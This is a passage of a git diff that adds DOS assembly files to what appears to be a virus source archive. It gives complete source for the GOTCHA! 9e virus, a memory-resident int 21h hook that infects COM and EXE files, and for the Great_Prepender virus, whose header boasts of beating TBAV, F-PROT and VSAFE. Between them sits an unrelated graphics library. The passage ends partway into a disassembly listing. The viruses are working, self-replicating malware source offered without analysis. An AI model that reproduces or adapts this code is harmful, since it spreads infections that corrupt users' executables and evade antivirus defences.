ax,4300h + call org21 + push cx + + and cx,0F8h ;clear READ-ONLY-flag + call setattr + jc return1_v + + push cs ;open the file + pop ds + lds dx,dword ptr [nameptr] + mov ax,3D02h + int 21 + jnc verder2 +return1_v: jmp return1 ;something went wrong... :-( + +verder2: push cs ;save handle + pop ds + mov [handle],ax + + mov bx,[handle] ;get file date & time + mov ax,5700h + int 21 + push cx + push dx + + call endptr ;get file-length + mov [oldlen],ax + mov [oldlen+2],dx + + sub ax,SIGNLEN ;move ptr to end - SIGNLEN + sbb dx,0 + mov cx,dx + mov dx,ax + mov al,00h + call ptrmov + + mov cx,SIGNLEN ;read the last bytes + mov dx,offset buffer + call flread + jc return2_v + + push cs ;compare bytes with signature + pop es + mov di,offset buffer + mov si,offset signature + mov cx,SIGNLEN + rep cmpsb + jz return2_v + + call beginptr ;read begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flread + + cmp byte ptr [comexe],EXESIGN + jz do_exe + +do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file + jnb return2 + cmp word ptr [oldlen],MINTARGET + jbe return2 + + call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new start-adres + add ax,(offset entry - 0103h) + mov byte ptr [buffer],0E9h ;'JMP' + mov word ptr [buffer+1],ax + + jmp short verder1 + +return2_v: jmp short return2 + + +do_exe: call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new length + mov dx,[oldlen+2] + add ax,FILELEN + adc dx,0 + + mov cl,9 ;put new length in header + shr ax,cl + mov cl,7 + shl dx,cl + or ax,dx + inc ax + mov word ptr [buffer+4],ax + mov ax,[oldlen] + add ax,FILELEN + and ax,01FFh + mov word ptr [buffer+2],ax + + mov ax,[oldlen] ;calculate new CS & IP + mov dx,[oldlen+2] + mov bx,word ptr [buffer+8] + push ax + mov cl,4 + shr ax,cl + mov cl,0Ch + shl dx,cl + add ax,dx + sub ax,bx + mov word ptr [buffer+16h],ax ;put CS in header + pop ax + and ax,000Fh + add ax,(offset entry - 0100h) + mov word ptr [buffer+14h],ax ;put IP in header + +verder1: call beginptr ;write new begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flwrite + +return2: mov bx,[handle] ;restore file date & time + pop dx + pop cx + mov ax,5701h + int 21 + + mov bx,[handle] ;close the file + mov ah,3Eh + int 21 + +return1: pop cx ;restore file-attribute + call setattr + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + ret + + +;**************************************************************************** +;* Gets ASCIIZ-filename from FCB +;**************************************************************************** + +FCBtoASC: mov si,dx + lodsb + inc al ;extended FCB? + jne normal_FCB + add si,7 +normal_FCB: push cs + pop es + xor di,di ;adres for ASCIIZ-name + mov dx,di + mov cx,8 +FCB_loop: lodsb ;copy all except spaces + cmp al,' ' + je FCB_verder + stosb +FCB_verder: loop FCB_loop + mov al,'.' ;append a '.' + stosb + mov cl,3 ;and the extension + rep movsb + xchg ax,cx ;and a final zero. + stosb + push es + pop ds + ret + + +;**************************************************************************** +;* Changes file-attributes +;**************************************************************************** + +setattr: lds dx,dword ptr cs:[nameptr] + mov ax,4301h + call org21 + ret + + +;**************************************************************************** +;* Writes program to end of file +;**************************************************************************** + +writeprog: call endptr + mov cx,FILELEN + mov dx,offset begin +; call flwrite ;Hmm, save a few bytes! +; ret + + +;**************************************************************************** +;* Subroutines for reading/writing +;**************************************************************************** + +flwrite: mov ah,40h + jmp short flvrdr + +flread: mov ah,3Fh +flvrdr: push cs + pop ds + mov bx,cs:[handle] + int 21 + ret + + +;**************************************************************************** +;* Subroutines for file-pointer +;**************************************************************************** + +beginptr: mov al,00h ;go to begin of file + jmp short ptrvrdr + +endptr: mov al,02h ;go to end of file +ptrvrdr: xor cx,cx + xor dx,dx + +ptrmov: mov bx,cs:[handle] ;go somewhere + mov ah,42h + int 21 + ret + + +;**************************************************************************** +;* This is where infected files start +;**************************************************************************** + +entry: call entry2 +entry2: pop bx + sub bx,offset entry2 ;CS:BX is begin program - 100h + + pushf + cld + + cmp byte ptr cs:[bx+offset comexe],COMSIGN + jz entryC + +entryE: mov ax,ds ;put old start-adres on stack + add ax,10 + add ax,cs:[bx+offset buffer+016h] + push ax + push cs:[bx+offset buffer+014h] + + jmp short entcheck + +entryC: mov ax,bx ;restore old file-begin + add ax,offset buffer + mov si,ax + mov di,0100 + mov cx,BUFLEN + rep movsb + + push cs ;put old start-adres on stack + mov ax,0100h + push ax + +entcheck: mov ax,0DADAh ;already installed? + int 21h + cmp ah,0A5h + je entstop + + call install ;install the program + +entstop: iret + + +;**************************************************************************** +;* Install the program at top of memory +;**************************************************************************** + +install: push ds + push es + + xor ax,ax ;get original int21 vector + mov es,ax + mov cx,word ptr es:0084h + mov dx,word ptr es:0086h + mov cs:[bx+offset oi21],cx + mov cs:[bx+offset oi21+2],dx + + mov ax,ds ;adjust memory-size + dec ax + mov es,ax + cmp byte ptr es:[0000h],5Ah + jnz cancel + mov ax,es:[0003h] + sub ax,RESPAR + jb cancel + mov es:[0003h],ax + sub es:[0012h], word ptr RESPAR + + push cs ;copy program to top + pop ds + mov es,es:[0012h] + mov ax,bx + add ax,0100 + mov si,ax + mov di,0100h + mov cx,FILELEN + rep movsb + + mov dx,offset ni21 ;set vector to new handler + push es + pop ds + mov ax,2521h + int 21h + +cancel: pop es + pop ds + + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + +envstring: db 'E=mc',0 ;put this in your environment! + +signature: db 'GOTCHA!',0 ;I have got you! :-) +signend: + + + +end: + +cseg ends + end begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/g/GOTCHA9E.ASM b/g/GOTCHA9E.ASM new file mode 100755 index 0000000..c2fbca9 --- /dev/null +++ b/g/GOTCHA9E.ASM @@ -0,0 +1,571 @@ +;**************************************************************************** +;* GOTCHA! Version 9e +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +SIGNLEN equ signend - signature +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 9 +BUFLEN equ 20h +COMSIGN equ 0 +EXESIGN equ 1 +MINTARGET equ 1000 +MAXTARGET equ -FILELEN + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: xor bx,bx + call install + int 20 + + +;**************************************************************************** +;* Data +;**************************************************************************** + +buffer db BUFLEN dup (?) +oi21 dw ?,? +oldlen dw ?,? +nameptr dw ?,? +handle dw ? +comexe db ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE' +COM_txt db 'COM' + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DADAh ;install-check ? + je do_DADA + + push dx + push cx + push bx + push ax + push si + push di + push ds + push es + + cmp ax,6C00h ;open/create 4.00 ? + je do_6C00 + cmp ah,56h ;rename ? + je doit + cmp ah,4Eh ;findfirst ? + je doit ;(only works without wildcards) + cmp ah,4Bh ;load / execute ? + je doit + cmp ah,43h ;attributes + je doit + cmp ah,41h ;delete ? + je doit ;(it might be un-deleted!) + cmp ah,3Dh ;open ? + je do_3D + + cmp ah,17h ;FCB-rename? + je doFCB + cmp ah,13h ;FCB-delete? + jne exit + +doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's! + +doit: call infect + +exit: pop es + pop ds + pop di + pop si + pop ax + pop bx + pop cx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +do_3D: test al,03h ;only if opened for READING + jne exit + jmp short doit + +do_6C00: test bl,03h ;idem + jne exit + mov dx,di ;ptr was DS:DI + jmp short doit + +do_DADA: mov ax,0A500h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Old Interupt handler 21 +;**************************************************************************** + +org21: pushf + call dword ptr cs:[oi21] ;call to old int-handler + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov cs:[nameptr],dx ;save the ptr to the filename + mov cs:[nameptr+2],ds + + mov ah,62h ;get segment-adres of PSP + int 21 + mov ds,bx ;get seg-adres of environment + mov ax,ds:002Ch + mov ds,ax + mov si,0 + +envloop: cmp ds:[si],byte ptr 0 ;end of environment? + je verder7 + + push cs + pop es + mov di,offset envstring + mov bx,0 + +scloop: mov al,ds:[si] ;check the current env-item + cmpsb + je scv1 + inc bx ;characters don't match! +scv1: cmp al,0 ;end of env-item? + jne scloop + + cmp bx,0 ;did all characters match? + je return + jmp short envloop + +verder7: push cs ;check the filename + pop ds + les di,dword ptr [nameptr] + mov dx,di + mov cx,80 ;search end of filename (-EXT) + mov al,'.' + repnz scasb + mov bx,di + + std ;find begin of filename + mov cl,11 + mov al,'\' + repnz scasb + cld + je vvv + mov di,dx + jmp short vvv2 +vvv: add di,2 +vvv2: mov al,'V' ;is it V*.* ? + scasb + je return + + mov cl,7 ;is it *AN*.* ? + mov ax,'NA' +ANloop: dec di + scasw + loopnz ANloop + je return + + mov si,offset EXE_txt ;is extension 'EXE'? + mov di,bx + mov cx,3 + rep cmpsb + jnz verder4 + + mov byte ptr [comexe],EXESIGN + jmp short verder3 + +return: ret + +verder4: mov si,offset COM_txt ;is extension 'COM'? + mov di,bx + mov cx,3 + rep cmpsb + jnz return + + mov byte ptr [comexe],COMSIGN + +verder3: mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;get file-attribute + mov ax,4300h + call org21 + push cx + + and cx,0F8h ;clear READ-ONLY-flag + call setattr + jc return1_v + + push cs ;open the file + pop ds + lds dx,dword ptr [nameptr] + mov ax,3D02h + int 21 + jnc verder2 +return1_v: jmp return1 ;something went wrong... :-( + +verder2: push cs ;save handle + pop ds + mov [handle],ax + + mov bx,[handle] ;get file date & time + mov ax,5700h + int 21 + push cx + push dx + + call endptr ;get file-length + mov [oldlen],ax + mov [oldlen+2],dx + + sub ax,SIGNLEN ;move ptr to end - SIGNLEN + sbb dx,0 + mov cx,dx + mov dx,ax + mov al,00h + call ptrmov + + mov cx,SIGNLEN ;read the last bytes + mov dx,offset buffer + call flread + jc return2_v + + push cs ;compare bytes with signature + pop es + mov di,offset buffer + mov si,offset signature + mov cx,SIGNLEN + rep cmpsb + jz return2_v + + call beginptr ;read begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flread + + cmp byte ptr [comexe],EXESIGN + jz do_exe + +do_com: cmp word ptr [oldlen],MAXTARGET ;check length of file + jnb return2 + cmp word ptr [oldlen],MINTARGET + jbe return2 + + call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new start-adres + add ax,(offset entry - 0103h) + mov byte ptr [buffer],0E9h ;'JMP' + mov word ptr [buffer+1],ax + + jmp short verder1 + +return2_v: jmp short return2 + + +do_exe: call writeprog ;write program to end of file + jc return2 + + mov ax,[oldlen] ;calculate new length + mov dx,[oldlen+2] + add ax,FILELEN + adc dx,0 + + mov cl,9 ;put new length in header + shr ax,cl + mov cl,7 + shl dx,cl + or ax,dx + inc ax + mov word ptr [buffer+4],ax + mov ax,[oldlen] + add ax,FILELEN + and ax,01FFh + mov word ptr [buffer+2],ax + + mov ax,[oldlen] ;calculate new CS & IP + mov dx,[oldlen+2] + mov bx,word ptr [buffer+8] + push ax + mov cl,4 + shr ax,cl + mov cl,0Ch + shl dx,cl + add ax,dx + sub ax,bx + mov word ptr [buffer+16h],ax ;put CS in header + pop ax + and ax,000Fh + add ax,(offset entry - 0100h) + mov word ptr [buffer+14h],ax ;put IP in header + +verder1: call beginptr ;write new begin of file + mov cx,BUFLEN + mov dx,offset buffer + call flwrite + +return2: mov bx,[handle] ;restore file date & time + pop dx + pop cx + mov ax,5701h + int 21 + + mov bx,[handle] ;close the file + mov ah,3Eh + int 21 + +return1: pop cx ;restore file-attribute + call setattr + + pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + ret + + +;**************************************************************************** +;* Gets ASCIIZ-filename from FCB +;**************************************************************************** + +FCBtoASC: mov si,dx + lodsb + inc al ;extended FCB? + jne normal_FCB + add si,7 +normal_FCB: push cs + pop es + xor di,di ;adres for ASCIIZ-name + mov dx,di + mov cx,8 +FCB_loop: lodsb ;copy all except spaces + cmp al,' ' + je FCB_verder + stosb +FCB_verder: loop FCB_loop + mov al,'.' ;append a '.' + stosb + mov cl,3 ;and the extension + rep movsb + xchg ax,cx ;and a final zero. + stosb + push es + pop ds + ret + + +;**************************************************************************** +;* Changes file-attributes +;**************************************************************************** + +setattr: lds dx,dword ptr cs:[nameptr] + mov ax,4301h + call org21 + ret + + +;**************************************************************************** +;* Writes program to end of file +;**************************************************************************** + +writeprog: call endptr + mov cx,FILELEN + mov dx,offset begin +; call flwrite ;Hmm, save a few bytes! +; ret + + +;**************************************************************************** +;* Subroutines for reading/writing +;**************************************************************************** + +flwrite: mov ah,40h + jmp short flvrdr + +flread: mov ah,3Fh +flvrdr: push cs + pop ds + mov bx,cs:[handle] + int 21 + ret + + +;**************************************************************************** +;* Subroutines for file-pointer +;**************************************************************************** + +beginptr: mov al,00h ;go to begin of file + jmp short ptrvrdr + +endptr: mov al,02h ;go to end of file +ptrvrdr: xor cx,cx + xor dx,dx + +ptrmov: mov bx,cs:[handle] ;go somewhere + mov ah,42h + int 21 + ret + + +;**************************************************************************** +;* This is where infected files start +;**************************************************************************** + +entry: call entry2 +entry2: pop bx + sub bx,offset entry2 ;CS:BX is begin program - 100h + + pushf + cld + + cmp byte ptr cs:[bx+offset comexe],COMSIGN + jz entryC + +entryE: mov ax,ds ;put old start-adres on stack + add ax,10 + add ax,cs:[bx+offset buffer+016h] + push ax + push cs:[bx+offset buffer+014h] + + jmp short entcheck + +entryC: mov ax,bx ;restore old file-begin + add ax,offset buffer + mov si,ax + mov di,0100 + mov cx,BUFLEN + rep movsb + + push cs ;put old start-adres on stack + mov ax,0100h + push ax + +entcheck: mov ax,0DADAh ;already installed? + int 21h + cmp ah,0A5h + je entstop + + call install ;install the program + +entstop: iret + + +;**************************************************************************** +;* Install the program at top of memory +;**************************************************************************** + +install: push ds + push es + + xor ax,ax ;get original int21 vector + mov es,ax + mov cx,word ptr es:0084h + mov dx,word ptr es:0086h + mov cs:[bx+offset oi21],cx + mov cs:[bx+offset oi21+2],dx + + mov ax,ds ;adjust memory-size + dec ax + mov es,ax + cmp byte ptr es:[0000h],5Ah + jnz cancel + mov ax,es:[0003h] + sub ax,RESPAR + jb cancel + mov es:[0003h],ax + sub es:[0012h], word ptr RESPAR + + push cs ;copy program to top + pop ds + mov es,es:[0012h] + mov ax,bx + add ax,0100 + mov si,ax + mov di,0100h + mov cx,FILELEN + rep movsb + + mov dx,offset ni21 ;set vector to new handler + push es + pop ds + mov ax,2521h + int 21h + +cancel: pop es + pop ds + + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + +envstring: db 'E=mc',0 ;put this in your environment! + +signature: db 'GOTCHA!',0 ;I have got you! :-) +signend: + + + +end: + +cseg ends + end begin + \ No newline at end of file diff --git a/g/GRAFLIB.ASM b/g/GRAFLIB.ASM new file mode 100755 index 0000000..b11f991 --- /dev/null +++ b/g/GRAFLIB.ASM @@ -0,0 +1,93 @@ +; +; grafix --- graflib.asm +; +; miscellaneous assembly routines +; +; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet) +; +; Modified 5/29/87 by sss to allow for different memory models +; + + title graflib + +include macros.ah + +buflen equ 32768 + +sseg +endss + +dseg +endds + +buf segment public 'BUF' + db buflen dup(?) +buf ends + +cseg _graflib + +pBegin g_bufseg + + mov ax, buf + ret + +pEnd g_bufseg + +pBegin g_fmemcpy + + push bp + mov bp,sp + push di + push si + push ds + + cld + les di,[bp+argbase] + lds si,[bp+argbase+4] + mov cx,[bp+argbase+8] + shr cx, 1 + jnc c1 + movsb +c1: rep movsw + + pop ds + pop si + pop di + mov sp,bp + pop bp + ret + +pEnd g_fmemcpy + +pBegin g_fmemset + + push bp + mov bp,sp + push di + push si + + cld + les di,[bp+argbase] + mov al,[bp+argbase+4] + mov ah,al + mov cx,[bp+argbase+6] + shr cx,1 + jnc s1 + stosb +s1: rep stosw + + pop si + pop di + mov sp,bp + pop bp + ret + +pEnd g_fmemset + + df_ g_fmemcpy + df_ g_fmemset + df_ g_bufseg + +endcs _graflib + + end diff --git a/g/GREATPRE.ASM b/g/GREATPRE.ASM new file mode 100755 index 0000000..59844c1 --- /dev/null +++ b/g/GREATPRE.ASM @@ -0,0 +1,183 @@ +;****************************************************************************** +; +; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis +; +;****************************************************************************** +; +; Virus name : Great_Prepender +; Author : Rajaat +; Origin : United Kingdom, December 1995 +; Compiling : Using TASM | Using A86 +; | +; TASM /M PREPEND | A86 PREPEND.ASM +; TLINK /T PREPEND | +; Targets : COM files +; Size : 144 bytes +; Resident : No +; Polymorphic : No +; Encrypted : No +; Stealth : No +; Tunneling : No - is not needed for some programs +; Retrovirus : Yes - TBAV, SUSPICIOUS, F-PROT & VSAFE +; Antiheuristics: Yes - TBAV, SUSPICIOUS & F-PROT +; Peculiarities : Shifts the whole file after the virus code +; Rewrites the whole file for infection +; Avoids TBAV & SUSPICIOUS using a 2 byte signature +; Drawbacks : Hangs if host is TSR program +; Hangs if host jumps to PSP:0 +; Needs at least 64k free space after host +; Behaviour : When a COM file infected with Great_Prepender virus is +; executed, the virus will search for a COM file in the +; current directory that doesn't have a 0 in the seconds +; field of the file date/time. The virus will read the entire +; file in a block after the current host. Great_Prepender now +; creates a new file with the same name and writes itself at +; the start of the file, and appends the rest of the host +; behind it's own code, thus effectively shifting the whole +; host with 144 bytes. The virus will restore the host in a +; very peculiar way. It modifies the segment registers in a +; way that the host looks if it's aligned at 100h, the normal +; address for COM files to start. It then copies most of the +; DTA over it's own code and executes the host. The stack +; segment is not modified. Because the virus shifts only the +; DTA and doesn't change the memory allocation, resident +; programs have a chance of crashing, because they don't +; allocate 144 bytes of their own code (if function 31h is +; used for the allocation). Great_Prepender is targetted at +; a few resident behaviour blockers, effectively avoiding them. +; The virus also has some tricks to avoid being scanned by a +; few antivirus programs that can perform heuristic scanning. +; It's unknown what this virus might do besides replicate :) +;****************************************************************************** +; +; Results with antivirus software +; +; TBFILE - doesn't trigger +; TBSCAN - flags 'p' (packed file) +; TBCLEAN - can't reconstruct without ANTIVIR.DAT +; SVS - doesn't trigger +; SSC - no flags +; F-PROT - no virus found +; F-PROT /ANALYSE - no virus found +; F-PROT /ANALYSE /PARANOID - unusual code +; AVP - virus type Com suspicion (0 bytes) +; VSAFE - doesn't trigger +; NEMESIS - triggers :( +; +;****************************************************************************** +; +; Big hello to : Immortal Riot, VLAD, Phalcon/Skism and everyone on #virus who +; deserves it to be greeted by me. +; +;****************************************************************************** + +.model tiny +.code + + org 100h + +dta equ 0fd00h-1eh + +;===( Main part of the virus )================================================= +im_the_great_prepender: + push ax ; fool TBSCAN and SSC + dec bx + + xchg ax,cx + mov ah,1ah + mov dx,dta + int 21h ; move dta to end of segment + + mov ah,4eh +find_next: lea dx,filemask + int 21h ; search COM file + jc restore_host ; go restore_host if seek fails + + mov ah,4fh + test byte ptr ds:dta+16h,00011111b + jz find_next ; if seconds != 0 go find_next + +;===( Infect file )============================================================ + + mov ah,3dh + mov dx,dta+1eh + int 21h ; open file with read access + + xchg ax,bx + xchg ax,cx + push ds + pop ax + add ah,10h + push ax + push ax + pop ds + mov ah,3fh + cwd ; read whole file in next + int 21h ; 64k block + push ax ; store file size + push cs + pop ds + mov ah,3eh + int 21h ; close file + + mov ah,3ch + mov dh,0fdh + inc cx + int 21h ; create new file (overwrite) + + mov ah,40h + mov dh,01h + mov cl,virus_size + int 21h ; write virus + + mov ah,40h + pop cx + pop ds + cwd + int 21h ; write host + + push cs + pop ds + + mov ax,5701h + mov cx,word ptr ds:dta+16h + mov dx,word ptr ds:dta+18h + and cl,11100000b ; set seconds to 0 and + int 21h ; restore date/time + + mov ah,3eh + int 21h ; close file + +;===( Return to host )========================================================= +restore_host: push cs ; shift the segment + pop si ; and prepare for dta + add si,09h ; transfer. + push si + push si + mov di,100h-(virus_end-reconstruct) + mov cx,di + push di + push si + pop es + xor si,si + mov di,si + mov dx,80h + retf ; jump to new cs:ip (shifted) + +filemask db '*Rajaat.COM',0 ; file mask and author name + +reconstruct: rep movsb ; copy dta to new location + pop ds ; (over virus code) + mov ah,1ah + int 21h ; set new dta + pop ax ; clear ax + +virus_end equ $ +virus_size equ $-im_the_great_prepender + +;===( Original shifted host )================================================== + + mov ax,4c00h + int 21h + +end im_the_great_prepender diff --git a/g/GREETING.A86 b/g/GREETING.A86 new file mode 100755 index 0000000..5d941c2 --- /dev/null +++ b/g/GREETING.A86 @@ -0,0 +1,2615 @@ + +; Ŀ +; Greeting Assembly Code (D86 Debug Used) +; + +0100 E9 EC 07 JMP 08EF +0103 42 INC DX +0104 41 INC CX +0105 0E PUSH CS +0106 01 CD ADD BP,CX +0108 21 B8 00 4C AND W[BX+SI+04C00],DI +010C CD 21 INT 021 ; Dos Functions +010E 48 DEC AX +010F 65 6C REPC INSB +0111 6C INSB +0112 6F OUTSW +0113 20 77 6F AND B[BX+06F],DH +0116 72 6C JB 0184 +0118 64 2E 2E 2E 0A 0D REPNC CS CS CS OR CL,B[DI] +011E 24 90 AND AL,090 +0120 90 NOP +0121 90 NOP +0122 90 NOP +0123 90 NOP +0124 90 NOP +0125 90 NOP +0126 90 NOP +0127 90 NOP +0128 90 NOP +0129 90 NOP +012A 90 NOP +012B 90 NOP +012C 90 NOP +012D 90 NOP +012E 90 NOP +012F 90 NOP +0130 90 NOP +0131 90 NOP +0132 90 NOP +0133 90 NOP +0134 90 NOP +0135 90 NOP +0136 90 NOP +0137 90 NOP +0138 90 NOP +0139 90 NOP +013A 90 NOP +013B 90 NOP +013C 90 NOP +013D 90 NOP +013E 90 NOP +013F 90 NOP +0140 90 NOP +0141 90 NOP +0142 90 NOP +0143 90 NOP +0144 90 NOP +0145 90 NOP +0146 90 NOP +0147 90 NOP +0148 90 NOP +0149 90 NOP +014A 90 NOP +014B 90 NOP +014C 90 NOP +014D 90 NOP +014E 90 NOP +014F 90 NOP +0150 90 NOP +0151 90 NOP +0152 90 NOP +0153 90 NOP +0154 90 NOP +0155 90 NOP +0156 90 NOP +0157 90 NOP +0158 90 NOP +0159 90 NOP +015A 90 NOP +015B 90 NOP +015C 90 NOP +015D 90 NOP +015E 90 NOP +015F 90 NOP +0160 90 NOP +0161 90 NOP +0162 90 NOP +0163 90 NOP +0164 90 NOP +0165 90 NOP +0166 90 NOP +0167 90 NOP +0168 90 NOP +0169 90 NOP +016A 90 NOP +016B 90 NOP +016C 90 NOP +016D 90 NOP +016E 90 NOP +016F 90 NOP +0170 90 NOP +0171 90 NOP +0172 90 NOP +0173 90 NOP +0174 90 NOP +0175 90 NOP +0176 90 NOP +0177 90 NOP +0178 90 NOP +0179 90 NOP +017A 90 NOP +017B 90 NOP +017C 90 NOP +017D 90 NOP +017E 90 NOP +017F 90 NOP +0180 90 NOP +0181 90 NOP +0182 90 NOP +0183 90 NOP +0184 90 NOP +0185 90 NOP +0186 90 NOP +0187 90 NOP +0188 90 NOP +0189 90 NOP +018A 90 NOP +018B 90 NOP +018C 90 NOP +018D 90 NOP +018E 90 NOP +018F 90 NOP +0190 90 NOP +0191 90 NOP +0192 90 NOP +0193 90 NOP +0194 90 NOP +0195 90 NOP +0196 90 NOP +0197 90 NOP +0198 90 NOP +0199 90 NOP +019A 90 NOP +019B 90 NOP +019C 90 NOP +019D 90 NOP +019E 90 NOP +019F 90 NOP +01A0 90 NOP +01A1 90 NOP +01A2 90 NOP +01A3 90 NOP +01A4 90 NOP +01A5 90 NOP +01A6 90 NOP +01A7 90 NOP +01A8 90 NOP +01A9 90 NOP +01AA 90 NOP +01AB 90 NOP +01AC 90 NOP +01AD 90 NOP +01AE 90 NOP +01AF 90 NOP +01B0 90 NOP +01B1 90 NOP +01B2 90 NOP +01B3 90 NOP +01B4 90 NOP +01B5 90 NOP +01B6 90 NOP +01B7 90 NOP +01B8 90 NOP +01B9 90 NOP +01BA 90 NOP +01BB 90 NOP +01BC 90 NOP +01BD 90 NOP +01BE 90 NOP +01BF 90 NOP +01C0 90 NOP +01C1 90 NOP +01C2 90 NOP +01C3 90 NOP +01C4 90 NOP +01C5 90 NOP +01C6 90 NOP +01C7 90 NOP +01C8 90 NOP +01C9 90 NOP +01CA 90 NOP +01CB 90 NOP +01CC 90 NOP +01CD 90 NOP +01CE 90 NOP +01CF 90 NOP +01D0 90 NOP +01D1 90 NOP +01D2 90 NOP +01D3 90 NOP +01D4 90 NOP +01D5 90 NOP +01D6 90 NOP +01D7 90 NOP +01D8 90 NOP +01D9 90 NOP +01DA 90 NOP +01DB 90 NOP +01DC 90 NOP +01DD 90 NOP +01DE 90 NOP +01DF 90 NOP +01E0 90 NOP +01E1 90 NOP +01E2 90 NOP +01E3 90 NOP +01E4 90 NOP +01E5 90 NOP +01E6 90 NOP +01E7 90 NOP +01E8 90 NOP +01E9 90 NOP +01EA 90 NOP +01EB 90 NOP +01EC 90 NOP +01ED 90 NOP +01EE 90 NOP +01EF 90 NOP +01F0 90 NOP +01F1 90 NOP +01F2 90 NOP +01F3 90 NOP +01F4 90 NOP +01F5 90 NOP +01F6 90 NOP +01F7 90 NOP +01F8 90 NOP +01F9 90 NOP +01FA 90 NOP +01FB 90 NOP +01FC 90 NOP +01FD 90 NOP +01FE 90 NOP +01FF 90 NOP +0200 90 NOP +0201 90 NOP +0202 90 NOP +0203 90 NOP +0204 90 NOP +0205 90 NOP +0206 90 NOP +0207 90 NOP +0208 90 NOP +0209 90 NOP +020A 90 NOP +020B 90 NOP +020C 90 NOP +020D 90 NOP +020E 90 NOP +020F 90 NOP +0210 90 NOP +0211 90 NOP +0212 90 NOP +0213 90 NOP +0214 90 NOP +0215 90 NOP +0216 90 NOP +0217 90 NOP +0218 90 NOP +0219 90 NOP +021A 90 NOP +021B 90 NOP +021C 90 NOP +021D 90 NOP +021E 90 NOP +021F 90 NOP +0220 90 NOP +0221 90 NOP +0222 90 NOP +0223 90 NOP +0224 90 NOP +0225 90 NOP +0226 90 NOP +0227 90 NOP +0228 90 NOP +0229 90 NOP +022A 90 NOP +022B 90 NOP +022C 90 NOP +022D 90 NOP +022E 90 NOP +022F 90 NOP +0230 90 NOP +0231 90 NOP +0232 90 NOP +0233 90 NOP +0234 90 NOP +0235 90 NOP +0236 90 NOP +0237 90 NOP +0238 90 NOP +0239 90 NOP +023A 90 NOP +023B 90 NOP +023C 90 NOP +023D 90 NOP +023E 90 NOP +023F 90 NOP +0240 90 NOP +0241 90 NOP +0242 90 NOP +0243 90 NOP +0244 90 NOP +0245 90 NOP +0246 90 NOP +0247 90 NOP +0248 90 NOP +0249 90 NOP +024A 90 NOP +024B 90 NOP +024C 90 NOP +024D 90 NOP +024E 90 NOP +024F 90 NOP +0250 90 NOP +0251 90 NOP +0252 90 NOP +0253 90 NOP +0254 90 NOP +0255 90 NOP +0256 90 NOP +0257 90 NOP +0258 90 NOP +0259 90 NOP +025A 90 NOP +025B 90 NOP +025C 90 NOP +025D 90 NOP +025E 90 NOP +025F 90 NOP +0260 90 NOP +0261 90 NOP +0262 90 NOP +0263 90 NOP +0264 90 NOP +0265 90 NOP +0266 90 NOP +0267 90 NOP +0268 90 NOP +0269 90 NOP +026A 90 NOP +026B 90 NOP +026C 90 NOP +026D 90 NOP +026E 90 NOP +026F 90 NOP +0270 90 NOP +0271 90 NOP +0272 90 NOP +0273 90 NOP +0274 90 NOP +0275 90 NOP +0276 90 NOP +0277 90 NOP +0278 90 NOP +0279 90 NOP +027A 90 NOP +027B 90 NOP +027C 90 NOP +027D 90 NOP +027E 90 NOP +027F 90 NOP +0280 90 NOP +0281 90 NOP +0282 90 NOP +0283 90 NOP +0284 90 NOP +0285 90 NOP +0286 90 NOP +0287 90 NOP +0288 90 NOP +0289 90 NOP +028A 90 NOP +028B 90 NOP +028C 90 NOP +028D 90 NOP +028E 90 NOP +028F 90 NOP +0290 90 NOP +0291 90 NOP +0292 90 NOP +0293 90 NOP +0294 90 NOP +0295 90 NOP +0296 90 NOP +0297 90 NOP +0298 90 NOP +0299 90 NOP +029A 90 NOP +029B 90 NOP +029C 90 NOP +029D 90 NOP +029E 90 NOP +029F 90 NOP +02A0 90 NOP +02A1 90 NOP +02A2 90 NOP +02A3 90 NOP +02A4 90 NOP +02A5 90 NOP +02A6 90 NOP +02A7 90 NOP +02A8 90 NOP +02A9 90 NOP +02AA 90 NOP +02AB 90 NOP +02AC 90 NOP +02AD 90 NOP +02AE 90 NOP +02AF 90 NOP +02B0 90 NOP +02B1 90 NOP +02B2 90 NOP +02B3 90 NOP +02B4 90 NOP +02B5 90 NOP +02B6 90 NOP +02B7 90 NOP +02B8 90 NOP +02B9 90 NOP +02BA 90 NOP +02BB 90 NOP +02BC 90 NOP +02BD 90 NOP +02BE 90 NOP +02BF 90 NOP +02C0 90 NOP +02C1 90 NOP +02C2 90 NOP +02C3 90 NOP +02C4 90 NOP +02C5 90 NOP +02C6 90 NOP +02C7 90 NOP +02C8 90 NOP +02C9 90 NOP +02CA 